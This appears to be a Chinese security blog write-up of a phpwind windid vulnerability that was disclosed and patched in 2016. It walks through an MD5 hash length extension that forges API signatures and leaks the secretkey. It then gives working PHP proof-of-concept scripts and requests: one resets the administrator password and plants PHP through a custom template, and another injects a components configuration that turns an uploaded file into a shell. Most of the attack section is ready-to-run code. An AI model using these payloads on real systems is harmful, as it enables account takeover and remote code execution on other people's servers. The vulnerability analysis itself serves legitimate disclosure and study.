0x00 前言
这是一个比较有意思的漏洞,漏洞已经在乌云网上提交(http://www.wooyun.org/bugs/wooyun-2016-0210850),官方也已经发布了补丁(http://www.phpwind.net/read/3709549),并且安全研究员phithon也第一时间发出了他的漏洞分析http://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html,其实内容基本一致,不过关键还是在于如何直接GetShell上。不以GetShell为目的的代码审计都是耍流氓。
0x01 简介
phpwind是采用PHP+MySQL方式运行的开源社区程序。轻架构,高效率简易开发,助你快速搭建并轻松管理社区站点。面向移动互联网应用需求,PW还提供移动社区客户端,把社区站点从PC迁移到手机,实现应用、数据融合互通,一站式多终端服务,确保用户体验自然过渡。
0x02 某接口
windidserver在有$secretkey的情况下是可以做很多事情的,包括操作用户的所有信息,更改配置等。
前面也存在过漏洞 http://www.wooyun.org/bugs/wooyun-2014-072727 不过新版本修复了。
0x03 接口验证缺陷
windidserver 接口的验证代码如下:
/src/applications/windidserver/api/controller/OpenBaseController.php
public function beforeAction($handlerAdapter) { parent::beforeAction($handlerAdapter); $charset = 'utf-8'; $_windidkey = $this->getInput('windidkey', 'get'); $_time = (int)$this->getInput('time', 'get'); $_clientid = (int)$this->getInput('clientid', 'get'); if (!$_time || !$_clientid) $this->output(WindidError::FAIL); $clent = $this->_getAppDs()->getApp($_clientid); if (!$clent) $this->output(WindidError::FAIL); if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey) $this->output(WindidError::FAIL); $time = Pw::getTime(); if ($time - $_time > 1200) $this->output(WindidError::TIMEOUT); $this->appid = $_clientid; }
跟进 WindidUtility::appKey
/src/windid/service/base/WindidUtility.php
public static function appKey($apiId, $time, $secretkey, $get, $post) { // 注意这里需要加上__data,因为下面的buildRequest()里加了。 $array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token', '__data'); $str = ''; ksort($get); ksort($post); foreach ($get AS $k=>$v) { if (in_array($k, $array)) continue; $str .=$k.$v; } foreach ($post AS $k=>$v) { if (in_array($k, $array)) continue; $str .=$k.$v; } return md5(md5($apiId.'||'.$secretkey).$time.$str); }
简单看起来,好像验证非常完美,请求的所有GET,POST都加入 secretkey 签名中,除非得到secretkey,不然好像也没什么可能绕过的样子。
我们再来细致分析下,$apiId可知,$time也可以从URL中获取,而$str,是GET,POST参数形成,在某种情况下也是可以知道的,可以控制的。当然暴力破解$secretkey基本不现实。
但再细看,签名中密码长度是可以知道的
这不是可以存在md5 padding 么?
0x04 查找利用点
虽然缺陷存在,但存在和能利用完全是两回事。于是查找所有调用 WindidUtility::appKey 的地方
看来调用的地方着实不多呀,我们能获取已知加密后签名windidkey的地方好像只有
上传头像的地方,而且这个地方普通注册用户就可以获取到。
我们再来看看
$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash', 'm'=>'api', 'a'=>'doAvatar', 'c'=>'avatar'), array('uid'=>'undefined'));
GET 参数有
array(‘uid’=>$uid, ‘type’=>’flash’, ‘m’=>’api’, ‘a’=>’doAvatar’, ‘c’=>’avatar’)
POST
array(‘uid’=>’undefined’)
经过参数排序后,加密$str即为:
adoAvatarcavatarmapitypeflashuid2uidundefined
即头像上传页面中
http://127.0.0.1/index.php?m=profile&c=avatar&_left=avatar
<param name="FlashVars" value="postAction=ra_postAction&redirectURL=/&requestURL=http%3A%2F%2F127.0.0.1%2Fwindid%2Findex.php%3Fm%3Dapi%26c%3Davatar%26a%3DdoAvatar%26uid%3D2%26windidkey%3D743fdf975fc5f1ad123ed308f4a73588%26time%3D1463713559%26clientid%3D1%26type%3Dflash&avatar=http%3A%2F%2F127.0.0.1%2Fwindid%2Fattachment%2F%2Favatar%2F000%2F00%2F00%2F2.jpg%3Fr%3D38651"/>
http://127.0.0.1/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=743fdf975fc5f1ad123ed308f4a73588&time=1463713559&clientid=1&type=flash
其中 $array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’,
‘Filename’, ‘Upload’, ‘token’, ‘__data’);
不加入签名
POST只有 array(‘uid’=>’undefined’)
即
windidkey = md5( 32位md5 + 1463713559 + adoAvatarcavatarmapitypeflashuid2uidundefined ) == 743fdf975fc5f1ad123ed308f4a73588
那么我们利用的目标是改变参数 c 和 a ,从而达到调用API中其它方法的目的。
问题来了
$array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token', '__data'); $str = ''; ksort($get); ksort($post); foreach ($get AS $k=>$v) { if (in_array($k, $array)) continue; $str .=$k.$v; } foreach ($post AS $k=>$v) { if (in_array($k, $array)) continue; $str .=$k.$v; }
windidkey签名是输入参数的排序,a必定是排在前面,并且如何改变m、c、a的值,使得前面部分加密效果一致呢?
我们再看看 $str 是 $k + $v ,组成的 adoAvatarcavatarmapitypeflashuid2uidundefined
那么,我们是不是可以直接输入 adoAvatarcavatarmapitypeflashuid=2uidundefined,这样的参数,而不影响加密结果呢?
参数排序也是一个严重的问题,如果可以把我们注入的内容放在后面,那么就好办多了。
POST参数永远在后面,于是我想了想,m、c、a是否也是可以接受POST的值呢。
/** * 默认路由处理 */ public function defaultRoute() { $this->action = $this->request->getRequest($this->actionKey, $this->_action); $this->controller = $this->request->getRequest($this->controllerKey, $this->_controller); $this->module = $this->request->getRequest($this->moduleKey, $this->_module); } public function getRequest($key = null, $defaultValue = null) { if (!$key) return array_merge($_POST, $_GET); if (isset($_GET[$key])) return $_GET[$key]; if (isset($_POST[$key])) return $_POST[$key]; return $defaultValue; }
好了,万事俱备了。
0x05 漏洞利用
分析到这里,容我刷新一下key,因为超时了。
新链接为:
http://127.0.0.1/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=21bd66932ce99a763e3e8862c7ce7300&time=1463715092&clientid=1&type=flash
adoAvatarcavatarmapitypeflashuid2uidundefined
md5( 32位 + strlen(1463715092) + strlen(adoAvatarcavatarmapitypeflashuid2uidundefined) ) = 21bd66932ce99a763e3e8862c7ce7300
strlen( 32位 + strlen(1463715092) + strlen(adoAvatarcavatarmapitypeflashuid2uidundefined) ) == 87
例如我们要调用的方法为:m=api&c=app&a=list,经过参数处理,即为:alistcappmapi
拿出 md5 padding 神器
Payload: ‘\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x00\x00\x00alistcappmapi’
Payload urlencode: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%02%00%00%00%00%00%00alistcappmapi
MD5 after padding: a652e10c436dfd00815d552afa6ad1c5
URL:
http://127.0.0.1/windid/index.php?adoAvatarcavatarmapitypeflashuid=&windidkey=a652e10c436dfd00815d552afa6ad1c5&time=1463715092&clientid=1
POST
2uidundefined=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%02%00%00%00%00%00%00&m=api&c=app&a=list
从而获得 “secretkey”:”265c8be71570f96265e467c41784bace”
0x06 从secretkey到命令执行
在乌云提交的报告中,我对GetShell是轻描淡写的,一个简单的XSS,CSRF也是可以GetShell呢。更何况是可以控制用户(包括前台管理员),和大部分的配置了。下面我就简单提两种直接GetShell方式。
第一种,是我简单提到的http://www.wooyun.org/bugs/wooyun-2016-0175518(官方认为是正常功能)其实不用登陆后台,前台也是能直接利用的。不过方式比较暴力,不是太推荐
首先直接修改管理员密码
<?php
$secretkey = ‘secretkey’;
$c = ‘User’;
$a = ‘editUser’;
$data = array(‘uid’=>’1′,’password’=>’admin’ );
$time = time();
$key = appKey(‘1’, time(), $secretkey, array(‘m’=>’api’,’c’=> $c,’a’=>$a), $data);echo post(‘http://127.0.0.1/windid/index.php?m=api&c=’.$c.’&a=’.$a.’&windidkey=’.$key.’&time=’.$time .’&clientid=1′,$data).”\r\n”;
function post($uri,$data) {
$data = http_build_query($data);
$opts = array(
‘http’=>array(
‘method’=>”POST”,
‘header’=>”Content-type: application/x-www-form-urlencoded\r\n”.
“Content-length:”.strlen($data).”\r\n” .
“\r\n”,
‘content’ => $data,
)
);
$cxContext = stream_context_create($opts);
$sFile = file_get_contents($uri, false, $cxContext);
return $sFile ;
}function appKey($apiId, $time, $secretkey, $get, $post) {
$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’, ‘Filename’, ‘Upload’, ‘token’);
$str = ”;
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.’||’.$secretkey).$time.$str);
}
修改完后登陆,创建自定义模板
http://127.0.0.1/index.php?m=design&c=property&a=doadd
post
csrf_token=18c1f2c2e7fe6095&model=html&module_name=test&property[html]=<?php phpinfo();?>&pageid=1
注:csrf_token 请在查看源码中找。
http://127.0.0.1/index.php?m=design&c=design&a=modulecsrf_token=bd2e04d468ec5f70&moduleid=3
这里的moduleid是动态的,也就是添加后的总数,默认情况是3,一般系统也不会添加太多,遍列一下就行。
第二种GetShell方式还是比较有意思的。
前面说到,API接口可以更改一些配置信息。
在入口类中src\wekit.php
public static function run($name = ‘phpwind’, $components = array()) {
self::init($name);
if (!empty($components)) self::$_sc[‘components’] = (array)$components + self::$_sc[‘components’];/* @var $application WindWebFrontController */
$application = Wind::application($name, self::$_sc);
$application->registeFilter(new PwFrontFilters($application));
$application->run();
}
跟进PwFrontFilters
public function onCreate() {
Wekit::createapp(Wind::getAppName());$_debug = Wekit::C(‘site’, ‘debug’);
if ($_debug == !Wind::$isDebug) Wind::$isDebug = $_debug;
error_reporting($_debug ? E_ALL ^ E_NOTICE ^ E_DEPRECATED : E_ERROR | E_PARSE);
set_error_handler(array($this->front, ‘_errorHandle’), error_reporting());$this->_convertCharsetForAjax();
if ($components = Wekit::C(‘components’)) {
Wind::getApp()->getFactory()->loadClassDefinitions($components);
}
}
可以看到,系统初始化时会加载配置表中pw_windid_config的components组件配置,配置中是用来定义类的路径、默认参数、初始化时的方法等。即我们可以控制系统加载的类路径和初始化的一些东东,由于代码太多,我只贴出关键部分,再来跟进
\wind\base\WindFactory.php
public function getInstance($alias, $args = array()) {
$instance = null;
$definition = isset($this->classDefinitions[$alias]) ? $this->classDefinitions[$alias] : array();
if (isset($this->prototype[$alias])) {
$instance = clone $this->prototype[$alias];
if (isset($definition[‘destroy’])) $this->destories[] = array($instance, $definition[‘destroy’]);
} elseif (isset($this->instances[$alias])) {
$instance = $this->instances[$alias];
} elseif (isset($this->singleton[$alias])) {
$instance = $this->singleton[$alias];
} else {
if (!$definition) return null;
$_unscope = empty($args);
if (isset($definition[‘constructor-args’]) && $_unscope) $this->buildArgs($definition[‘constructor-args’],
$args);
if (!isset($definition[‘className’])) $definition[‘className’] = Wind::import(@$definition[‘path’]);
$instance = $this->createInstance($definition[‘className’], $args);
if (isset($definition[‘config’])) $this->resolveConfig($definition[‘config’], $alias, $instance);
if (isset($definition[‘properties’])) $this->buildProperties($definition[‘properties’], $instance);
if (isset($definition[‘initMethod’])) $this->executeInitMethod($definition[‘initMethod’], $instance);
!isset($definition[‘scope’]) && $definition[‘scope’] = ‘application’;
$_unscope && $this->setScope($alias, $definition[‘scope’], $instance);
if (isset($definition[‘destroy’])) $this->destories[$alias] = array($instance, $definition[‘destroy’]);
}
if (isset($definition[‘proxy’])) {
$listeners = isset($definition[‘listeners’]) ? $definition[‘listeners’] : array();
$instance = $this->setProxyForClass($definition[‘proxy’], $listeners, $instance);
}
return $instance;
}
这个类就是主要来加载表中pw_windid_config components的定义及创建实例是的一些默认配置。有意思的是,这里还是比较多的限制,有几种方式,最简单的就是更改$definition[‘path’],造成文件包含,但这里涉及到php截断的问题(系统默认是.php后辍),简单而不通用。
另外的方法就是在系统中找可以利用的类,限制条件是初始化是可以传默认参数,可以有set方法设置单一属性,可以调用任意方法,但不能传参。哈,有兴趣的同学可以自己研究一下。于是在系统中找吧,找能利用的类。
我提出两个类,大家可以研究下
/wind/mail/sender/WindSendMail.php
src\library\engine\extension\cache\PwFileCache.php
详细不说了,POC如下
<?php
$secretkey = ‘265c8be71570f96265e467c41784bace’;
$c = ‘config’;
$a = ‘setconfig’;$data = array(‘namespace’=>’components’,’key’=>’windView’,’value’=> array(‘path’=>’SRC:library.engine.extension.cache.PwFileCache’,’initMethod’=>’get’,’properties’=>array(‘delay’=>’false’,’Config’=>array(‘value’=>array(‘security-code’=>’../../attachment/1605/thread/2_1_1542e6411847d69′) ))) );
$time = time();
$key = appKey(‘1’, time(), $secretkey, array(‘m’=>’api’,’c’=> $c,’a’=>$a), $data);echo post(‘http://127.0.0.1/windid/index.php?m=api&c=’.$c.’&a=’.$a.’&windidkey=’.$key.’&time=’.$time .’&clientid=1′,$data).”\r\n”;
function post($uri,$data) {
$data = http_build_query($data);
$opts = array(
‘http’=>array(
‘method’=>”POST”,
‘header’=>”Content-type: application/x-www-form-urlencoded\r\n”.
“Content-length:”.strlen($data).”\r\n” .
“\r\n”,
‘content’ => $data,
)
);
$cxContext = stream_context_create($opts);
$sFile = file_get_contents($uri, false, $cxContext);
return $sFile ;
}function appKey($apiId, $time, $secretkey, $get, $post) {
$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’, ‘Filename’, ‘Upload’, ‘token’);
$str = ”;
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.’||’.$secretkey).$time.$str);
}?>
security-code 就是上传的txt附件,路径怎么得到?请查看源码。
执行poc后,再请求
http://127.0.0.1/windid/index.php,就是shell了(其它页面应该也是可以)
说得有点多了,不过总体起来,这还是一个比较有意思的漏洞。
Scan to Follow